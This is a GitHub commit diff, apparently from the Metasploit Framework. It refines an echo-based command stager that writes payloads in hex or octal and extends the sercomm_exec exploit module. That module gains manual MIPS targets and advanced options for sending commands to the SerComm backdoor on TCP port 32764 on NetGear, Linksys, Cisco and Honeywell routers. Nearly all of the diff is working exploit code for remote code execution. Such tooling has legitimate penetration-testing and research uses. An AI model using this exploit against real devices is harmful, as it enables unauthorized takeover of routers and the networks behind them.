Skip to content

Commit f6f2da0

Browse files
committed
Merge pull request #4 from jvazquez-r7/review_2874
Clean CmdStagerEcho and Add module targets
2 parents b7b1ddf + 8213eed commit f6f2da0

File tree

2 files changed

+88
-24
lines changed

2 files changed

+88
-24
lines changed

lib/rex/exploitation/cmdstager/echo.rb

Lines changed: 48 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,11 @@ module Exploitation
1010

1111
class CmdStagerEcho < CmdStagerBase
1212

13+
ENCODINGS = {
14+
'hex' => "\\\\x",
15+
'octal' => "\\\\"
16+
}
17+
1318
def initialize(exe)
1419
super
1520

@@ -18,12 +23,21 @@ def initialize(exe)
1823

1924
#
2025
# Override to ensure opts[:temp] is a correct *nix path
26+
# and initialize opts[:enc_format].
2127
#
2228
def generate(opts = {})
2329
opts[:temp] = opts[:temp] || '/tmp/'
2430
opts[:temp].gsub!(/\\/, "/")
2531
opts[:temp] = opts[:temp].shellescape
2632
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
33+
34+
# by default use the 'hex' encoding
35+
opts[:enc_format] = opts[:enc_format] || 'hex'
36+
37+
unless ENCODINGS.keys.include?(opts[:enc_format])
38+
raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}"
39+
end
40+
2741
super
2842
end
2943

@@ -36,9 +50,18 @@ def generate_cmds(opts)
3650
unless opts[:noargs]
3751
@cmd_start += "-en "
3852
end
53+
3954
@cmd_end = ">>#{@tempdir}#{@var_elf}"
40-
xtra_len = @cmd_start.length + @cmd_end.length + 1
55+
xtra_len = @cmd_start.length + @cmd_end.length
4156
opts.merge!({ :extra => xtra_len })
57+
58+
@prefix = ENCODINGS[opts[:enc_format]]
59+
min_part_size = 5 # for both encodings
60+
61+
if (opts[:linemax] - opts[:extra]) < min_part_size
62+
raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
63+
end
64+
4265
super
4366
end
4467

@@ -47,15 +70,14 @@ def generate_cmds(opts)
4770
# Encode into a format that echo understands, where
4871
# interpretation of backslash escapes are enabled. For
4972
# hex, it'll look like "\\x41\\x42", and octal will be
50-
# "\\101\\102"
73+
# "\\101\\102\\5\\41"
5174
#
5275
def encode_payload(opts)
53-
opts[:enc_format] = opts[:enc_format] || 'hex'
5476
case opts[:enc_format]
5577
when 'octal'
56-
return Rex::Text.to_octal(@exe, "\\\\")
78+
return Rex::Text.to_octal(@exe, @prefix)
5779
else
58-
return Rex::Text.to_hex(@exe, "\\\\x")
80+
return Rex::Text.to_hex(@exe, @prefix)
5981
end
6082
end
6183

@@ -104,24 +126,34 @@ def slice_up_payload(encoded, opts)
104126
while (encoded_dup.length > 0)
105127
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
106128
# cut the end of the part until we reach the start
107-
# of a full byte representation "\\xYZ" or "\\YZ"
108-
case opts[:enc_format]
109-
when 'octal'
110-
while (temp.length > 0 && temp[-4, 2] != "\\\\")
111-
temp.chop!
112-
end
113-
else
114-
while (temp.length > 0 && temp[-5, 3] != "\\\\x")
115-
temp.chop!
116-
end
117-
end
129+
# of a full byte representation "\\xYZ" or "\\YZX"
130+
temp = fix_last_byte(temp, opts, encoded_dup)
118131
parts << temp
119132
encoded_dup.slice!(0, temp.length)
120133
end
121134

122135
parts
123136
end
124137

138+
def fix_last_byte(part, opts, remaining="")
139+
fixed_part = part.dup
140+
141+
case opts[:enc_format]
142+
when 'hex'
143+
while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix)
144+
fixed_part.chop!
145+
end
146+
when 'octal'
147+
if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix
148+
pos = fixed_part.rindex('\\')
149+
pos -= 1 if fixed_part[pos-1] == '\\'
150+
fixed_part.slice!(pos..fixed_part.length-1)
151+
end
152+
end
153+
154+
return fixed_part
155+
end
156+
125157
def cmd_concat_operator
126158
" ; "
127159
end

modules/exploits/linux/misc/sercomm_exec.rb

Lines changed: 40 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,8 @@ def initialize(info={})
1717
'Description' => %q{
1818
This module will cause remote code execution on several SerComm devices.
1919
These devices typically include routers from NetGear and Linksys.
20-
This module was tested successfully against the NetGear DG834 series
21-
ADSL modem router.
20+
This module was tested successfully against several NetGear, Honeywell
21+
and Cisco devices.
2222
},
2323
'License' => MSF_LICENSE,
2424
'Author' =>
@@ -47,6 +47,16 @@ def initialize(info={})
4747
'PackFormat' => 'NNN'
4848
}
4949
],
50+
['Manual Linux MIPS Big Endian',
51+
{
52+
'Arch' => ARCH_MIPSBE
53+
}
54+
],
55+
['Manual Linux MIPS Little Endian',
56+
{
57+
'Arch' => ARCH_MIPSLE
58+
}
59+
],
5060
['Cisco WAP4410N',
5161
{
5262
# Note this target is little endian by network comm, but
@@ -65,7 +75,7 @@ def initialize(info={})
6575
{
6676
'Arch' => ARCH_MIPSBE,
6777
'PackFormat' => 'VVV',
68-
'NoArgs' => true,
78+
'NoArgs' => true
6979
}
7080
],
7181
['Netgear DG834G',
@@ -107,7 +117,7 @@ def initialize(info={})
107117
'UploadPath' => '/var',
108118
'PayloadEncode' => 'octal'
109119
}
110-
],
120+
]
111121
],
112122
'DefaultTarget' => 0,
113123
'References' =>
@@ -121,6 +131,15 @@ def initialize(info={})
121131
[
122132
Opt::RPORT(32764)
123133
], self.class)
134+
135+
register_advanced_options(
136+
[
137+
OptEnum.new('PACKFORMAT', [false, "Pack Format to use", 'VVV', ['VVV', 'NNN']]),
138+
OptString.new('UPLOADPATH', [false, "Remote path to land the payload", "/tmp" ]),
139+
OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]),
140+
OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]),
141+
], self.class)
142+
124143
end
125144

126145
def check
@@ -139,10 +158,23 @@ def check
139158
end
140159

141160
def exploit
161+
if target.name =~ /Manual/
162+
print_warning("Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options")
163+
@no_args = datastore['NOARGS']
164+
@upload_path = datastore['UPLOADPATH']
165+
@encoding_format = datastore['ENCODING']
166+
@pack_format = datastore['PACKFORMAT']
167+
else
168+
@no_args = target['NoArgs']
169+
@upload_path = target['UploadPath']
170+
@encoding_format = target['PayloadEncode']
171+
@pack_format = target['PackFormat']
172+
end
173+
142174
execute_cmdstager(
143-
:noargs => target['NoArgs'],
144-
:temp => target['UploadPath'],
145-
:enc_format => target['PayloadEncode']
175+
:noargs => @no_args,
176+
:temp => @upload_path,
177+
:enc_format => @encoding_format
146178
)
147179
end
148180

@@ -176,7 +208,7 @@ def execute_command(cmd, opts)
176208
# 0x53634d4d => Backdoor code
177209
# 0x07 => Exec command
178210
# cmd_length => Length of command to execute, sent after communication struct
179-
data = [0x53634d4d, 0x07, cmd_length].pack(target['PackFormat'])
211+
data = [0x53634d4d, 0x07, cmd_length].pack(@pack_format)
180212

181213
connect
182214
# Send command structure followed by command text

0 commit comments

Comments
 (0)